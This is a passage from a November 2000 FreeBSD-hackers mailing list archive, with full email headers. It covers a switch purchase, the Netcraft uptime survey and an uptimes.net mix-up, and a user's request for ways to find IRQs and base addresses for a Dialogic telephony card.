sucessfully negotiated 100Mbs full-duplex :(speed is great!). Is there any reasons why I should've considered the netgear :unit? I didn't see anything on the box (after a rather cursory perusal) on it :about managability, SNMP et cetera. Probably not. If you don't see performance or reliability problems, no. It's conceivable that one switch can't do 100MB full duplex to every port at the same time. It might, or might not, be the cheaper one. Without test equipment its hard to say. (I've got a 5 port Dlink that I bought about New Year's, which has been great.) David To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 2:45:33 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (flutter.freebsd.dk [212.242.40.147]) by hub.freebsd.org (Postfix) with ESMTP id 3E8D437B4C5 for ; Wed, 1 Nov 2000 02:45:30 -0800 (PST) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.1/8.9.3) with ESMTP id eA1AjQu19589 for ; Wed, 1 Nov 2000 11:45:26 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: hackers@freebsd.org Subject: FreeBSD in good standing in netcraft survey From: Poul-Henning Kamp Date: Wed, 01 Nov 2000 11:45:26 +0100 Message-ID: <19587.973075526@critter> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG We're doing quite fine in the "max uptime" survey: http://uptime.netcraft.com/today/isp.max.html -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 3:45: 8 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from weirdo.netcraft.com (weirdo.netcraft.com [195.188.192.47]) by hub.freebsd.org (Postfix) with ESMTP id 85DF837B479; Wed, 1 Nov 2000 03:45:05 -0800 (PST) Received: (from sketchy@localhost) by weirdo.netcraft.com (8.11.1/8.11.1) id eA1Bj0N59581; Wed, 1 Nov 2000 11:45:00 GMT (envelope-from sketchy) Date: Wed, 1 Nov 2000 11:45:00 +0000 From: Jonathan Perkin To: Poul-Henning Kamp Cc: hackers@freebsd.org Subject: Re: FreeBSD in good standing in netcraft survey Message-ID: <20001101114500.J629@netcraft.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Operating-System: FreeBSD/i386 4.1.1-STABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG phk wrote: > We're doing quite fine in the "max uptime" survey: > > http://uptime.netcraft.com/today/isp.max.html Glad you like it - pity we got slashdotted so early :) Although the uptime survey's are new on the site, they have quite a large database to gather from, and will get better as more people use the whats queries. Be nice when freefall has enough data to plot a graph for :) -- Jonathan Perkin Voice: +44 (01225) 404422 ech`echo xiun | tr nu oc | sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol System Administrator - Netcraft, Bath, UK - http://www.netcraft.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 7: 0:55 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from copper.americanisp.net (copper.americanisp.net [208.244.174.41]) by hub.freebsd.org (Postfix) with SMTP id D3F1B37B4C5 for ; Wed, 1 Nov 2000 07:00:51 -0800 (PST) Received: (qmail 17565 invoked from network); 1 Nov 2000 15:00:34 -0000 Received: from unknown (HELO oxygen.americanisp.net) (208.244.174.10) by copper.americanisp.net with SMTP; 1 Nov 2000 15:00:34 -0000 Date: Wed, 1 Nov 2000 08:00:37 -0700 (MST) From: Peter To: Poul-Henning Kamp Cc: hackers@freebsd.org Subject: Re: FreeBSD in good standing in netcraft survey In-Reply-To: <19587.973075526@critter> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Have you checked out www.uptime.net ? --- www.nul.cjb.net --- The Power to Crash! --- www.FreeBSD.org --- The Power to Serve! On Wed, 1 Nov 2000, Poul-Henning Kamp wrote: > > We're doing quite fine in the "max uptime" survey: > > http://uptime.netcraft.com/today/isp.max.html > > -- > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > phk@FreeBSD.ORG | TCP/IP since RFC 956 > FreeBSD committer | BSD since 4.3-tahoe > Never attribute to malice what can adequately be explained by incompetence. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 7: 9:55 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (flutter.freebsd.dk [212.242.40.147]) by hub.freebsd.org (Postfix) with ESMTP id C8F2037B4C5 for ; Wed, 1 Nov 2000 07:09:52 -0800 (PST) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.1/8.9.3) with ESMTP id eA1F9Yu20975; Wed, 1 Nov 2000 16:09:34 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Peter Cc: hackers@freebsd.org Subject: Re: FreeBSD in good standing in netcraft survey In-Reply-To: Your message of "Wed, 01 Nov 2000 08:00:37 MST." Date: Wed, 01 Nov 2000 16:09:34 +0100 Message-ID: <20973.973091374@critter> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , P eter writes: >Have you checked out www.uptime.net ? Yes, and ? It looks like some random company... >On Wed, 1 Nov 2000, Poul-Henning Kamp wrote: > >> >> We're doing quite fine in the "max uptime" survey: >> >> http://uptime.netcraft.com/today/isp.max.html >> >> -- >> Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 >> phk@FreeBSD.ORG | TCP/IP since RFC 956 >> FreeBSD committer | BSD since 4.3-tahoe >> Never attribute to malice what can adequately be explained by incompetence. >> >> >> To Unsubscribe: send mail to majordomo@FreeBSD.org >> with "unsubscribe freebsd-hackers" in the body of the message >> >> > > -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 7:12:42 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gate.trident-uk.co.uk (mail.trident-uk.co.uk [195.166.16.10]) by hub.freebsd.org (Postfix) with ESMTP id 8422E37B4CF for ; Wed, 1 Nov 2000 07:12:38 -0800 (PST) Received: from [194.207.93.139] by gate.trident-uk.co.uk for peterk@americanisp.net id PAA01682; Wed Nov 1 15:12:34 2000 Organization: Psi-Domain Ltd. Subject: Re: FreeBSD in good standing in netcraft survey Date: Wed, 1 Nov 2000 15:17:50 +0000 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain References: In-Reply-To: MIME-Version: 1.0 Message-Id: <00110115182502.00289@freefire.psi-domain.co.uk> Content-Transfer-Encoding: 8bit To: Peter From: Jamie Heckford Reply-To: heckfordj@psi-domain.co.uk Cc: freebsd-hackers@freebsd.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Yes, and is this your idea of spamming / advertising ?!?! Where is any relevant information on this subject? On Wed, 01 Nov 2000, you wrote: > Have you checked out www.uptime.net ? > > > --- www.nul.cjb.net --- The Power to Crash! > --- www.FreeBSD.org --- The Power to Serve! > > On Wed, 1 Nov 2000, Poul-Henning Kamp wrote: > > > > > We're doing quite fine in the "max uptime" survey: > > > > http://uptime.netcraft.com/today/isp.max.html > > > > -- > > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > > phk@FreeBSD.ORG | TCP/IP since RFC 956 > > FreeBSD committer | BSD since 4.3-tahoe > > Never attribute to malice what can adequately be explained by incompetence. > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-hackers" in the body of the message > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message -- Jamie Heckford Chief Network Engineer Psi-Domain - Innovative Linux Solutions. Ask Us How. =================================== email: heckfordj@psi-domain.co.uk web: http://www.psi-domain.co.uk/ tel: +44 (0)1737 789 246 fax: +44 (0)1737 789 245 mobile: +44 (0)7779 646 529 =================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 7:16:36 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from totem.fix.no (totem.fix.no [213.142.66.130]) by hub.freebsd.org (Postfix) with ESMTP id 7593837B479 for ; Wed, 1 Nov 2000 07:16:34 -0800 (PST) Received: by totem.fix.no (Postfix, from userid 1000) id 7A4503CB2; Wed, 1 Nov 2000 16:25:35 +0100 (CET) Date: Wed, 1 Nov 2000 16:25:35 +0100 From: Anders Nordby To: hackers@freebsd.org Subject: Re: FreeBSD in good standing in netcraft survey Message-ID: <20001101162535.A39250@totem.fix.no> References: <20973.973091374@critter> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20973.973091374@critter>; from phk@critter.freebsd.dk on Wed, Nov 01, 2000 at 04:09:34PM +0100 X-Operating-System: FreeBSD 4.1.1-STABLE X--PGP-Key: http://anders.fix.no/pgp/ Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Nov 01, 2000 at 04:09:34PM +0100, Poul-Henning Kamp wrote: >>Have you checked out www.uptime.net ? > Yes, and ? It looks like some random company... I suppose he means www.uptimes.net. Cheers, -- Anders. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 7:21:24 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (flutter.freebsd.dk [212.242.40.147]) by hub.freebsd.org (Postfix) with ESMTP id BE09037B479 for ; Wed, 1 Nov 2000 07:21:21 -0800 (PST) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.1/8.9.3) with ESMTP id eA1FL9u21090; Wed, 1 Nov 2000 16:21:09 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Anders Nordby Cc: hackers@FreeBSD.ORG Subject: Re: FreeBSD in good standing in netcraft survey In-Reply-To: Your message of "Wed, 01 Nov 2000 16:25:35 +0100." <20001101162535.A39250@totem.fix.no> Date: Wed, 01 Nov 2000 16:21:09 +0100 Message-ID: <21088.973092069@critter> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20001101162535.A39250@totem.fix.no>, Anders Nordby writes: >On Wed, Nov 01, 2000 at 04:09:34PM +0100, Poul-Henning Kamp wrote: >>>Have you checked out www.uptime.net ? >> Yes, and ? It looks like some random company... > >I suppose he means www.uptimes.net. Ahh, that thing. That is an opt-in scheme, and therefore the result is as scientific and reliable as asking Congress how well the president is doing... -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 8:14:30 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.rdc1.va.home.com (ha1.rdc1.va.home.com [24.2.32.66]) by hub.freebsd.org (Postfix) with ESMTP id B43F937B479 for ; Wed, 1 Nov 2000 08:14:26 -0800 (PST) Received: from cx443070b ([24.0.36.170]) by mail.rdc1.va.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20001101161426.ZECF12834.mail.rdc1.va.home.com@cx443070b>; Wed, 1 Nov 2000 08:14:26 -0800 Message-ID: <001e01c0441f$1b821a00$aa240018@cx443070b> From: "Jeremiah Gowdy" To: , "Peter" Cc: References: <00110115182502.00289@freefire.psi-domain.co.uk> Subject: Re: FreeBSD in good standing in netcraft survey Date: Wed, 1 Nov 2000 08:16:35 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Yes, and is this your idea of spamming / advertising ?!?! > > Where is any relevant information on this subject? oh please, if you're going to call that spam, it was the most beniegn spam I've ever seen. It wasn't even worth a reply. Try setting flame_enabled="false" in your rc.conf To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 9:56:53 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from copper.americanisp.net (copper.americanisp.net [208.244.174.41]) by hub.freebsd.org (Postfix) with SMTP id AB04F37B479 for ; Wed, 1 Nov 2000 09:56:48 -0800 (PST) Received: (qmail 27915 invoked from network); 1 Nov 2000 17:56:37 -0000 Received: from unknown (HELO oxygen.americanisp.net) (208.244.174.10) by copper.americanisp.net with SMTP; 1 Nov 2000 17:56:37 -0000 Date: Wed, 1 Nov 2000 10:56:40 -0700 (MST) From: Peter To: Jamie Heckford Cc: freebsd-hackers@freebsd.org Subject: Re: FreeBSD in good standing in netcraft survey In-Reply-To: <00110115182502.00289@freefire.psi-domain.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Guys, sorry did not mean to spam, but there used to be a site called uptime.net (I'm pretty sure of it) It basically did what netcraft is doing, except it only kept the uptimes. They had some wonderful uptimes of several years. As far as I remember, NETBSD was 1st place and FreeBSD was in second. sorry about the spam, was not aware that the site has gone away. --- www.nul.cjb.net --- The Power to Crash! --- www.FreeBSD.org --- The Power to Serve! On Wed, 1 Nov 2000, Jamie Heckford wrote: > Yes, and is this your idea of spamming / advertising ?!?! > > Where is any relevant information on this subject? > > > On Wed, 01 Nov 2000, you wrote: > > Have you checked out www.uptime.net ? > > > > > > --- www.nul.cjb.net --- The Power to Crash! > > --- www.FreeBSD.org --- The Power to Serve! > > > > On Wed, 1 Nov 2000, Poul-Henning Kamp wrote: > > > > > > > > We're doing quite fine in the "max uptime" survey: > > > > > > http://uptime.netcraft.com/today/isp.max.html > > > > > > -- > > > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > > > phk@FreeBSD.ORG | TCP/IP since RFC 956 > > > FreeBSD committer | BSD since 4.3-tahoe > > > Never attribute to malice what can adequately be explained by incompetence. > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-hackers" in the body of the message > > > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-hackers" in the body of the message > -- > Jamie Heckford > Chief Network Engineer > Psi-Domain - Innovative Linux Solutions. Ask Us How. > > =================================== > email: heckfordj@psi-domain.co.uk > web: http://www.psi-domain.co.uk/ > > tel: +44 (0)1737 789 246 > fax: +44 (0)1737 789 245 > mobile: +44 (0)7779 646 529 > =================================== > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 10:41: 1 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from pike.osd.bsdi.com (pike.osd.bsdi.com [204.216.28.222]) by hub.freebsd.org (Postfix) with ESMTP id BC11437B4C5 for ; Wed, 1 Nov 2000 10:40:58 -0800 (PST) Received: from magdalena.osd.bsdi.com (eric@magdalena.osd.bsdi.com [204.216.28.184]) by pike.osd.bsdi.com (8.11.0/8.9.3) with ESMTP id eA1Idwf52143; Wed, 1 Nov 2000 10:39:59 -0800 (PST) (envelope-from eric@magdalena.osd.bsdi.com) Message-Id: <200011011839.eA1Idwf52143@pike.osd.bsdi.com> Date: Wed, 1 Nov 2000 10:40:42 -0800 (PST) From: Eric Melville Subject: Re: FreeBSD in good standing in netcraft survey To: peterk@americanisp.net Cc: heckfordj@psi-domain.co.uk, freebsd-hackers@FreeBSD.ORG In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG No worries, you just forgot the 's' at the end ;) The site is still there, it's just "uptimes.net" not "uptime.net". > Guys, sorry did not mean to spam, but there used to be a site called > uptime.net (I'm pretty sure of it) It basically did what netcraft is > doing, except it only kept the uptimes. They had some wonderful uptimes > of several years. As far as I remember, NETBSD was 1st place and FreeBSD > was in second. > > sorry about the spam, was not aware that the site has gone away. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 11:47:33 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from post.webmailer.de (natmail2.webmailer.de [192.67.198.65]) by hub.freebsd.org (Postfix) with ESMTP id C997137B4CF for ; Wed, 1 Nov 2000 11:47:28 -0800 (PST) Received: from server.wes.mee.com (pC19EB346.dip.t-dialin.net [193.158.179.70]) by post.webmailer.de (8.9.3/8.8.7) with ESMTP id UAA23164; Wed, 1 Nov 2000 20:47:26 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by server.wes.mee.com (8.11.0/8.11.0) with ESMTP id eA1Kj4N42351; Wed, 1 Nov 2000 21:45:04 +0100 (CET) (envelope-from frederik@freddym.org) Date: Wed, 1 Nov 2000 21:45:04 +0100 (CET) From: Frederik Meerwaldt X-Sender: frederik@server.wes.mee.com To: Peter Cc: Jamie Heckford , freebsd-hackers@freebsd.org Subject: Re: FreeBSD in good standing in netcraft survey In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all! > Guys, sorry did not mean to spam, but there used to be a site called > uptime.net (I'm pretty sure of it) It basically did what netcraft is > doing, except it only kept the uptimes. They had some wonderful uptimes > of several years. As far as I remember, NETBSD was 1st place and FreeBSD > was in second. I didn't follow the whole thread *shame*, but the side you possibly mean is called uptimes.net (don't forget the "s"). And my Box is reporting to this side, too (HID: 7068 (munwme)). Best Regards, Freddy -- Geek Code 3.1: GCS s+: a--- C+++ UBOU+++ P-- E--- W++ N w--- V++ PGP- t? 5? tv ===================================================================== Frederik Meerwaldt ICQ: 83045387 Homepage: http://www.freddym.org Bavaria/Germany OpenVMS and Unix Howtos and much more FreeBSD, NetBSD, OpenBSD, Tru64, OpenVMS, Ultrix, BeOS, Linux To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 13: 1: 9 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp.attica.net.nz (mail.attica.net.nz [202.180.64.33]) by hub.freebsd.org (Postfix) with SMTP id F26EE37B4C5 for ; Wed, 1 Nov 2000 13:01:02 -0800 (PST) Received: (qmail 23182 invoked from network); 1 Nov 2000 21:01:00 -0000 Received: from 202-180-75-63.nas2.wn1.attica.net.nz (HELO davep200.afterswish.com) (202.180.75.63) by mail.attica.net.nz with SMTP; 1 Nov 2000 21:01:00 -0000 Message-Id: <5.0.0.25.1.20001102095240.00a3a440@mail.afterswish.com> X-Sender: davep@mail.afterswish.com X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Thu, 02 Nov 2000 09:57:03 +1300 To: freebsd-hackers@freebsd.org From: David Preece Subject: Re: FreeBSD in good standing in netcraft survey In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Possibly off topic, possibly not. Am I the only one who doesn't really care about uptimes? It would be far more productive to get a top 100 (or whatever) of availability... More interesting would be to test availability based on some dynamic content, a given request with an expected outcome a la F5? I may be forced to hack this together, where's my damn cable modem!!! Dave :) BTW, we didn't fare very well at all in the top *average* uptimes. Sun, OTOH, did. Bugger. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 14: 4:48 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gate.trident-uk.co.uk (mail.trident-uk.co.uk [195.166.16.10]) by hub.freebsd.org (Postfix) with ESMTP id C1AC637B4C5 for ; Wed, 1 Nov 2000 14:04:45 -0800 (PST) Received: from [194.207.93.139] by gate.trident-uk.co.uk for freebsd-hackers@freebsd.org id WAA16490; Wed Nov 1 22:02:41 2000 Organization: Psi-Domain Ltd. Subject: irq status Date: Wed, 1 Nov 2000 22:07:21 +0000 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <00110122083900.38220@freefire.psi-domain.co.uk> Content-Transfer-Encoding: 8bit To: freebsd-hackers@freebsd.org From: Jamie Heckford Reply-To: heckfordj@psi-domain.co.uk Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is their a tool out their or does anyone have a quick bit of code / hack that will "probe" all of the irqs on my box and tell me which ones are used / available?? Thanks, -- Jamie Heckford Chief Network Engineer Psi-Domain - Innovative Linux Solutions. Ask Us How. =================================== email: heckfordj@psi-domain.co.uk web: http://www.psi-domain.co.uk/ tel: +44 (0)1737 789 246 fax: +44 (0)1737 789 245 mobile: +44 (0)7779 646 529 =================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 14:46:52 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.122.47]) by hub.freebsd.org (Postfix) with ESMTP id AA4BE37B4C5 for ; Wed, 1 Nov 2000 14:46:50 -0800 (PST) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.10.1/8.10.1) with ESMTP id eA1Mkb975073; Wed, 1 Nov 2000 14:46:37 -0800 (PST) Date: Wed, 1 Nov 2000 14:46:37 -0800 (PST) From: Doug White To: Jamie Heckford Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: irq status In-Reply-To: <00110122083900.38220@freefire.psi-domain.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 1 Nov 2000, Jamie Heckford wrote: > Is their a tool out their or does anyone have a quick bit of code / hack that > will "probe" all of the irqs on my box and tell me which ones are used / > available?? dmesg | grep irq Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 14:58:21 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gate.trident-uk.co.uk (mail.trident-uk.co.uk [195.166.16.10]) by hub.freebsd.org (Postfix) with ESMTP id C79A337B4D7 for ; Wed, 1 Nov 2000 14:58:18 -0800 (PST) Received: from [194.207.93.139] by gate.trident-uk.co.uk for Tony.Maher@eBioinformatics.com id WAA19275; Wed Nov 1 22:57:41 2000 Organization: Psi-Domain Ltd. Subject: Re: irq status Date: Wed, 1 Nov 2000 23:02:19 +0000 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain References: <200011012212.JAA09204@shad.au.int.en-bio.com> In-Reply-To: <200011012212.JAA09204@shad.au.int.en-bio.com> MIME-Version: 1.0 Message-Id: <00110123034001.38220@freefire.psi-domain.co.uk> Content-Transfer-Encoding: 8bit To: Tony Maher From: Jamie Heckford Reply-To: heckfordj@psi-domain.co.uk Cc: freebsd-hackers@freebsd.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ok, is their anyway to probe for base addresses? This is an unusual card, a Dialogic D41/E Computer Telephony card. It *will* work under BSD, just need a base address value now. thanx for help so far btw. On Wed, 01 Nov 2000, you wrote: > vmstat -i > coupled with > dmesg | grep irq > > should find them all. > > tonym -- Jamie Heckford Chief Network Engineer Psi-Domain - Innovative Linux Solutions. Ask Us How. =================================== email: heckfordj@psi-domain.co.uk web: http://www.psi-domain.co.uk/ tel: +44 (0)1737 789 246 fax: +44 (0)1737 789 245 mobile: +44 (0)7779 646 529 =================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 15:24:13 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gate.trident-uk.co.uk (mail.trident-uk.co.uk [195.166.16.10]) by hub.freebsd.org (Postfix) with ESMTP id 3967737B4C5 for ; Wed, 1 Nov 2000 15:24:11 -0800 (PST) Received: from [194.207.93.139] by gate.trident-uk.co.uk for freebsd-hackers@freebsd.org id XAA20378; Wed Nov 1 23:24:09 2000 Organization: Psi-Domain Ltd. Subject: Re: irq status Date: Wed, 1 Nov 2000 23:29:24 +0000 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <00110123300803.38220@freefire.psi-domain.co.uk> Content-Transfer-Encoding: 8bit To: freebsd-hackers@freebsd.org From: Jamie Heckford Reply-To: heckfordj@psi-domain.co.uk Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Their is no corresponding device in the kernel !!! These drivers work as a thrid party module, and have seen working before, but need the base address value. On Wed, 01 Nov 2000, you wrote: > What device does it correspond to in kernel config file? > If the device is in the kernel I would have thought the card would > be seen at boot up with a probed IO address. > > tonym -- Jamie Heckford Chief Network Engineer Psi-Domain - Innovative Linux Solutions. Ask Us How. =================================== email: heckfordj@psi-domain.co.uk web: http://www.psi-domain.co.uk/ tel: +44 (0)1737 789 246 fax: +44 (0)1737 789 245 mobile: +44 (0)7779 646 529 =================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 15:36:32 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mass.osd.bsdi.com (mass.osd.bsdi.com [204.216.28.234]) by hub.freebsd.org (Postfix) with ESMTP id D94A337B4CF for ; Wed, 1 Nov 2000 15:36:28 -0800 (PST) Received: from mass.osd.bsdi.com (localhost [127.0.0.1]) by mass.osd.bsdi.com (8.11.0/8.11.1) with ESMTP id eA1Nf9e00566; Wed, 1 Nov 2000 15:41:09 -0800 (PST) (envelope-from msmith@mass.osd.bsdi.com) Message-Id: <200011012341.eA1Nf9e00566@mass.osd.bsdi.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: heckfordj@psi-domain.co.uk Cc: freebsd-hackers@freebsd.org Subject: Re: irq status In-reply-to: Your message of "Wed, 01 Nov 2000 22:07:21 GMT." <00110122083900.38220@freefire.psi-domain.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 01 Nov 2000 15:41:09 -0800 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Is their a tool out their or does anyone have a quick bit of code / hack that > will "probe" all of the irqs on my box and tell me which ones are used / > available?? No. You can glean some of this information from various metaconfiguration interface, but the question you're asking suggests that you're trying to do something wrong anyway. Why don't you tell us a bit more about what you want this information for? -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 16: 8:34 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80]) by hub.freebsd.org (Postfix) with ESMTP id 29EE637B479; Wed, 1 Nov 2000 16:08:27 -0800 (PST) Received: (from grog@localhost) by wantadilla.lemis.com (8.11.0/8.9.3) id eA208Dr13838; Thu, 2 Nov 2000 10:38:13 +1030 (CST) (envelope-from grog) Date: Thu, 2 Nov 2000 10:38:13 +1030 From: Greg Lehey To: flag Cc: Raymond Law , FreeBSD Hackers Subject: Re: Add a system call Message-ID: <20001102103813.A13225@wantadilla.lemis.com> References: <4.3.0.20001031140540.00d90de0@mail.vt.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from flag@libero.it on Wed, Nov 01, 2000 at 08:47:18PM +0100 Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 1 November 2000 at 20:47:18 +0100, flag wrote: > On Tue, 